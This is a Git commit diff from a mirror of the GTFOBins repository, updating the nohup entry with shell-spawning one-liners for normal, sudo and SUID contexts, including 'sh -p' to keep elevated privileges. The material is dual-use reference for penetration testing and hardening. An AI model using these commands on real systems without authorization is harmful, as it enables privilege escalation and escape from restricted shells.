mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add (suid) shell for nohup
This commit is contained in:
parent
8eaeb29c18
commit
8b41830d0b
@ -1,13 +1,14 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
|
shell:
|
||||||
|
- code: nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)"
|
||||||
command:
|
command:
|
||||||
- code: |
|
- code: |
|
||||||
COMMAND='/usr/bin/id'
|
COMMAND='/usr/bin/id'
|
||||||
nohup "$COMMAND"
|
nohup "$COMMAND"
|
||||||
cat nohup.out
|
cat nohup.out
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- code: sudo nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)"
|
||||||
COMMAND='/usr/bin/id'
|
suid:
|
||||||
sudo nohup "$COMMAND"
|
- code: sudo nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)"
|
||||||
sudo cat nohup.out
|
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user